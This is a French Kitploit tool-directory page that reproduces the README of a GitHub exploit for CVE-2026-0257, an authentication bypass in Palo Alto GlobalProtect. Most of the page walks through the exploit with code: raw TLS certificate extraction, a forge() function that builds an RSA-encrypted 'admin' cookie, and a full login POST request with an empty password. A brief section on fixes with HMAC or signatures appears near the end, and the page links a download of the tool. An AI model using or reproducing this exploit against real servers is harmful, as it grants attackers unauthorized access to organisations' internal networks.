Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS contient un contournement d'authentification causé par des failles dans le portail et la passerelle GlobalProtect, permettant aux attaquants d'établir des connexions VPN non autorisées. L'exploitation nécessite un accès réseau au portail ou à la passerelle. | Kitploit
Outils/GitHubGitHub/tushargurav28/cve-2026-0257
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité RéseauCryptographieTests d'IntrusionAuthentificationRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Palo Alto Networks PAN-OS contient un contournement d'authentification causé par des failles dans le portail et la passerelle GlobalProtect, permettant aux attaquants d'établir des connexions VPN non autorisées. L'exploitation nécessite un accès réseau au portail ou à la passerelle.

GitHub
tushargurav28/cve-2026-0257

CVE-2026-0257

Voir le dépôt
3il y a 2 moisPas encore vérifié
Partager

CVE-2026-0257 : Contournement d'authentification GlobalProtect

Aperçu

Cette exploitation permet un accès VPN non authentifié à une passerelle/portail Palo Alto GlobalProtect en forgeant un cookie d'authentification en utilisant uniquement le certificat TLS public du serveur.


La vulnérabilité fondamentale (pourquoi ça fonctionne)

GlobalProtect utilise un cookie de pré-authentification (portal-userauthcookie) pour permettre aux clients de s'authentifier. Voici le défaut fatal :

root@kitploit:~
Flux normal :
  1. Le client s'authentifie (nom d'utilisateur + mot de passe)
  2. Le serveur génère un cookie → le chiffre avec la clé PUBLIQUE RSA du serveur
  3. Le client stocke le cookie chiffré
  4. Lors de la reconnexion, le client envoie le cookie → le serveur le déchiffre avec la clé PRIVÉE → lui fait confiance

Le bogue :
  Le serveur vérifie UNIQUEMENT si le cookie se déchiffre correctement avec sa clé privée.
  Il ne vérifie PAS QUI l'a chiffré ni si le contenu en clair est légitime.

Puisque la clé publique RSA est intégrée au certificat TLS du serveur (accessible publiquement à quiconque se connecte), tout attaquant peut :

  1. Récupérer la clé publique depuis le certificat TLS
  2. Forger un cookie avec n'importe quel nom d'utilisateur
  3. Le chiffrer avec la clé publique
  4. L'envoyer au serveur → le serveur le déchiffre → l'accepte comme valide

C'est un défaut d'authentification brisée typique — utiliser le chiffrement là où une signature numérique ou un HMAC était nécessaire.


La chaîne d'exploitation (5 étapes)

root@kitploit:~
flowchart TD
    A["Étape 1 : Connexion TCP brute"] --> B["Étape 2 : Envoi d'un ClientHello TLS façonné"]
    B --> C["Étape 3 : Analyse du ServerHello → Extraction des certificats DER"]
    C --> D["Étape 4 : Parcours de l'ASN.1 pour extraire la clé publique RSA"]
    D --> E["Étape 5 : Forge d'un cookie chiffré PKCS#1 v1.5"]
    E --> F["Étape 6 : POST vers /ssl-vpn/login.esp"]
    F --> G{"Le serveur déchiffre le cookie"}
    G -->|"Texte en clair valide"| H[" Contournement d'auth — Accès VPN accordé"]
    G -->|"Invalide"| I[" Rejeté"]

Étape 1 : Construire un ClientHello TLS brut

Pourquoi brut ? Nous avons besoin du certificat du serveur au format DER (binaire brut). Le module ssl de Python effectue la poignée de main TLS complète en interne et n'expose pas les octets bruts du certificat de la même manière. En effectuant une connexion TCP brute et en envoyant un ClientHello façonné manuellement, nous pouvons intercepter la réponse du serveur au niveau des octets.

Format sur le fil

Un enregistrement TLS ressemble à cela :

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ En-tête d'enregistrement TLS (5 octets)          │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │  Longueur  │                 │
│ │ 0x16 │ 0x03 01  │  2 octets  │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Message de poignée de main                       │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │  Longueur  │      Corps              │  │
│ │ 0x01 │  3 octets  │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Code : build_hello()

Le corps du ClientHello contient :

Extensions incluses :

[!NOTE] Les suites de chiffrement incluent intentionnellement des chiffrements d'échange de clés RSA (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). Cela incite le serveur à répondre avec son certificat RSA plutôt qu'un certificat ECDSA — ce qui est critique car l'exploitation ne fonctionne qu'avec RSA.


Étape 2 : Recevoir et analyser la réponse du serveur

Après avoir envoyé le ClientHello, le serveur renvoie plusieurs enregistrements TLS :

root@kitploit:~
Réponse du serveur :
  ┌─────────────────┐
  │ ServerHello      │  (type de poignée de main 2)
  ├─────────────────┤
  │ Certificate      │  (type de poignée de main 11) ← CECI NOUS INTÉRESSE
  ├─────────────────┤
  │ ServerKeyExchange│  (type de poignée de main 12, optionnel)
  ├─────────────────┤
  │ ServerHelloDone  │  (type de poignée de main 14) ← SIGNAL D'ARRÊT
  └─────────────────┘

Code : parse_certs()

Phase 1 — Supprimer les en-têtes d'enregistrement TLS :

Chaque enregistrement TLS a un en-tête de 5 octets : [type(1)] [version(2)] [longueur(2)]. Le code parcourt tous les enregistrements, et pour ceux avec type == 22 (Handshake), il concatène leurs charges utiles :

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # type de contenu
    rl = (data[i + 3] << 8) | data[i + 4]   # longueur de l'enregistrement
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # récupérer la charge utile
    i += 5 + rl                              # enregistrement suivant

Phase 2 — Trouver le message Certificate (type 11) :

Dans le flux de poignée de main, chaque message a un en-tête de 4 octets : [type(1)] [longueur(3)]. Nous recherchons type == 11 :

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # type de poignée de main
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # longueur sur 3 octets
    if ht == 11:  # Certificate!
        # Analyser la liste des certificats à l'intérieur

Phase 3 — Extraire les certificats DER individuels :

Le message Certificate contient une liste de certificats, chacun précédé d'une longueur de 3 octets :

root@kitploit:~
Corps du message Certificate :
┌───────────────────────────────────┐
│ Longueur totale des certificats (3 octets) │
├───────────────────────────────────┤
│ Longueur du certificat 1 (3 octets) │
│ Données DER du certificat 1 (variable) │
├───────────────────────────────────┤
│ Longueur du certificat 2 (3 octets) │
│ Données DER du certificat 2 (variable) │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

Lors de notre test, nous avons obtenu 3 certificats (certificat feuille, CA intermédiaire, CA racine).

Code : has_done()

Cette fonction analyse ServerHelloDone (type de poignée de main 14), qui nous indique que le serveur a fini d'envoyer et que nous pouvons arrêter de lire.


Étape 3 : Analyser le certificat X.509 (ASN.1/DER)

Les certificats X.509 sont encodés en DER (Distinguished Encoding Rules), un format binaire basé sur ASN.1 (Abstract Syntax Notation One).

Format TLV ASN.1 (Tag-Longueur-Valeur)

Chaque élément en DER est :

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Longueur │ Valeur (charge utile) │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

Encodage de la longueur :

  • Si l'octet < 0x80 : la longueur est directement cet octet (forme courte)
  • Si l'octet ≥ 0x80 : les 7 bits de poids faible = nombre d'octets suivants qui encodent la longueur (forme longue)
root@kitploit:~
# Exemple : octet de longueur = 0x82 → 2 octets supplémentaires suivent
# 2 octets suivants : 0x06 0x4F → longueur = 0x064F = 1615 octets

Code : rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # forme longue ?
        nb = length & 0x7F              # nombre d'octets suivants
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = début de la valeur

Structure du certificat X.509

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optionnel)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ CECI NOUS INTÉRESSE ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optionnel)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Code : get_rsa_key()

La fonction parcourt l'arbre DER en lisant tag+longueur et en sautant les champs dont nous n'avons pas besoin :

root@kitploit:~
# Entrer dans la SEQUENCE externe (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Entrer dans la SEQUENCE tbsCertificate
r = rd_tl(der, p)            # → SEQUENCE
# Vérifier le tag de version optionnel
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # champ version présent → le sauter
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Sauter : serial → sigAlg → issuer → validity → subject
# (lire chaque TLV et sauter par-dessus)

# MAINTENANT nous sommes à subjectPublicKeyInfo
# Lire le AlgorithmIdentifier → vérifier si OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ Ceci est 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Pas RSA (probablement ECDSA)

# Lire le BIT STRING → sauter 1 octet (indicateur de bits inutilisés)
# Lire la SEQUENCE interne → extraire le modulus (n) et l'exposant (e)

Détail important — octet zéro de tête dans le modulus :

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # supprimer le 0x00 de tête
    ml -= 1

DER encode les entiers comme signés. Si le bit de poids fort du modulus est 1, un octet 0x00 est préfixé pour le garder positif. Nous le supprimons car nous avons besoin de la valeur non signée brute.

Pour notre cible : modulus = 2048 bits (256 octets), exposant = 65537 (0x10001)


Étape 4 : Forger le cookie d'authentification (PKCS#1 v1.5)

C'est le cœur de l'exploitation.

Ce que contient le cookie

Le format du cookie en clair est :

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── IP client
  │        │        └── Timestamp Unix
  │        └── Identifiant OS
  └── Nom d'utilisateur (nous choisissons "admin")

Remplissage de chiffrement PKCS#1 v1.5 (Type 2)

Avant le chiffrement RSA, le texte clair doit être rembourré à la taille de la clé (256 octets pour RSA 2048 bits) :

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Remplissage aléatoire non nul │ 0x00 │ Message en clair   │
│      │      │ (≥ 8 octets)            │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen octets             1B      octets du message

Total = 256 octets (= taille de la clé)

Code : forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 séparateur
    if pad_len < 8:                # PKCS#1 nécessite ≥ 8 octets de remplissage
        return ""

    em = bytearray([0x00, 0x02])   # En-tête de remplissage Type 2
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # octets aléatoires non nuls !
    em.append(0x00)                # séparateur
    cat(em, pt)                    # ajouter le texte clair

    # Chiffrement RSA : ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

Le calcul RSA :

root@kitploit:~
ciphertext = plaintext^e mod n

Où :
  plaintext = le message rembourré sous forme d'entier (256 octets → ~2048 bits)
  e = 65537 (exposant public)
  n = le modulus de 2048 bits provenant du certificat

[!IMPORTANT] Cela fonctionne car le chiffrement RSA utilise la clé publique (n, e), que quiconque peut obtenir à partir du certificat TLS. Le serveur le déchiffrera avec sa clé privée (n, d) et retrouvera le texte en clair — admin;;Windows;;timestamp;0.0.0.0.

Le serveur fait alors aveuglément confiance à ce texte en clair — il ne vérifie jamais que le cookie a été émis légitimement par lui-même.


Étape 5 : Envoyer le cookie forgé au point de terminaison de connexion

Code : test_cookie()

Le cookie forgé est envoyé sous forme d'une requête POST HTTPS standard au point de terminaison de connexion GlobalProtect :

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← vide ! aucun mot de passe nécessaire
&context=gateway                  ← ou "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] Le champ passwd est vide. Le serveur ne vérifie pas du tout le mot de passe — il se fie entièrement au portal-userauthcookie pour l'authentification.

L'exploitation teste deux points de terminaison :

  1. Gateway (context=gateway) : Accès direct au tunnel VPN
  2. Portal (context=portal) : Accès à la configuration du portail

Détection de succès

root@kitploit:~
def is_gateway_success(resp, user):
    # Vérifier si HTTP 200
    # Vérifier la présence de <status>Success</status> dans le corps XML
    # OU d'une balise <argument> contenant le nom d'utilisateur

Étape 6 : Ce qui se passe côté serveur

root@kitploit:~
sequenceDiagram
    participant A as Attaquant
    participant GP as Serveur GlobalProtect

    A->>GP: Connexion TCP (port 443)
    A->>GP: ClientHello TLS brut (façonné manuellement)
    GP->>A: ServerHello + Certificate (contient la clé publique RSA)
    GP->>A: ServerHelloDone
    Note over A: Extrait la clé publique RSA (n, e) du certificat
    Note over A: Forge le cookie : RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (via TLS)
    Note over GP: Reçoit portal-userauthcookie
    Note over GP: Déchiffre avec la clé privée RSA
    Note over GP: Obtient "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Lui fait aveuglément confiance — aucune vérification de signature !
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Accès VPN complet en tant que "admin"

Pourquoi ce bogue est dévastateur


Le correctif (ce que Palo Alto devrait faire)

Le problème fondamental est l'utilisation du chiffrement pour l'authentification. Les approches correctes :

  1. Signatures numériques : Le serveur devrait signer le cookie avec sa clé privée, pas déchiffrer un cookie chiffré. Puis vérifier la signature lors de la ré-authentification.

  2. HMAC : Utiliser une clé secrète côté serveur pour HMAC la charge utile du cookie. Seul le serveur connaît le secret, donc les cookies ne peuvent pas être forgés.

  3. Token Binding : Lier le cookie à la session d'authentification d'origine afin qu'il ne puisse pas être rejoué depuis un contexte différent.

root@kitploit:~
Brisé :   cookie = RSA_encrypt(userdata, public_key)   ← n'importe qui peut le faire !
Corrigé : cookie = HMAC(server_secret, userdata)        ← seul le serveur peut le faire

Résumé : Flux de données complet

root@kitploit:~
1. Connexion TCP vers cible:443
2. Envoi d'un ClientHello façonné manuellement (octets bruts via TCP, PAS TLS)
3. Réception de ServerHello + Certificate + ServerHelloDone
4. Analyse des enregistrements TLS → extraction des messages de poignée de main
5. Recherche du message Certificate (type 11) → extraction des certificats encodés DER
6. Parcours de la structure ASN.1/DER du certificat feuille :
   SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
   → subjectPublicKeyInfo → algorithmIdentifier (vérifier OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Construction du texte en clair : "admin;;Windows;;1748928001;0.0.0.0"
8. Remplissage PKCS#1 v1.5 : 0x00 0x02 [aléatoire≥8] 0x00 [texte en clair]
9. Chiffrement RSA : ciphertext = padded^e mod n
10. Encodage Base64 → encodage URL
11. POST vers /ssl-vpn/login.esp avec le cookie forgé (via TLS correct)
12. Le serveur déchiffre → fait aveuglément confiance → accorde l'accès VPN
Télécharger l’outil
ChampValeurObjectif
Version0x03 0x03 (TLS 1.2)Indiquer au serveur que nous parlons TLS 1.2
AléatoireTimestamp 4 octets + 28 octets aléatoiresNonce pour la poignée de main
ID de session0x00 (vide)Pas de reprise de session
Suites de chiffrement9 suites dont TLS_RSA_WITH_AES_128_CBC_SHAClé : nous incluons des chiffrements RSA uniquement pour forcer le serveur à utiliser son certificat RSA
Compression0x00 (aucune)Requis
ExtensionIDObjectif
SNI (Server Name Indication)0x0000Indiquer au serveur le nom d'hôte auquel on se connecte
Algorithmes de signature0x000DAnnoncer les algorithmes de signature supportés
Groupes supportés0x000ACourbes elliptiques supportées (P-256, P-384, P-521)
Formats de points EC0x000BPoints EC non compressés
AspectImpact
Aucune information d'identification nécessaireLa clé publique est littéralement publique — quiconque se connecte l'obtient
Pas de force bruteUne seule requête par tentative, toujours réussie sur les serveurs vulnérables
Pré-authentificationExploitable avant toute connexion — aucune session existante nécessaire
Usurpation d'utilisateurL'attaquant choisit n'importe quel nom d'utilisateur (admin, PDG, etc.)
Accès VPN completUne fois authentifié, l'attaquant est sur le réseau interne
Aucune journalisation d'échec de mot de passeComme l'auth se fait via un cookie, les alertes d'échec de mot de passe ne se déclenchent pas